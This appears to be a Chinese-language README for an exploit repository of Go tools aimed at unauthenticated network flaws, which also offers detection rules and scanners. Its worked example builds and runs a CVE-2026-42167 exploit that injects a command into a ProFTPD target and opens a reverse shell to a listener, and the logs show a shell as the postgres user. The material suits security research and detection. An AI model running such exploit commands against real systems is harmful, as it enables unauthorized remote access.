基于 Go 的漏洞利用工具,针对路由器、VPN、设备及物联网中未经身份验证的网络漏洞,并附带 PCAP、Suricata/Snort/YARA/Sigma 规则以及 Nmap 脚本。
VulnCheck 的初始访问社区仓库包含来自我们专有的 Initial Access Intelligence 产品的漏洞利用及相关制品,以及社区贡献。初始访问的典型关注点是无需用户交互的基于网络的漏洞,并强烈倾向于未认证漏洞。典型目标包括路由器、VPN、自托管服务(MobileIron、GitLab、Confluence 等)、网络设备、B2B 应用程序和 IoT 设备。
漏洞利用使用 Go 编写,基于 VulnCheck 的 go-exploit 框架。在可能的情况下,漏洞利用包含目标验证器和版本扫描器。不过,初始访问不仅仅关乎漏洞利用。我们也关注发现和检测。除漏洞利用之外,在可能的情况下,我们还会包含:
我们在漏洞利用设计上遵循与 go-exploit 相同的指导原则。参见 go-exploit 包概览。
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ - 漏洞利用及特定漏洞相关制品verification/ - 共享的目标验证代码shells/ - 共享的 shell 和载荷代码examples/ - 用于构建新漏洞利用的模板tools/ - 项目工具和实用程序